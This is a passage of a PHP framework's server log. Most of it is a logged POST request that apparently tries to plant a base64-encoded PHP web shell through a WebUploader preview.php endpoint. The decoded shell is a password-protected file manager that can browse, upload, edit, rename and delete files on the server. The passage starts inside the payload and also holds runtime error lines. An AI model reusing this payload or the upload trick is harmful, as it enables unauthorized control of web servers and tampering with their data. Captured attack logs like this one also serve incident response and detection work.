YXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'static' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:44+08:00 ] 119.42.146.234 POST 59.110.137.245/Data/editor/webuploader/0.1.5/server/preview.php [运行时间:0.002738s] [吞吐率:365.20req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Data', 2 => 'editor', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJ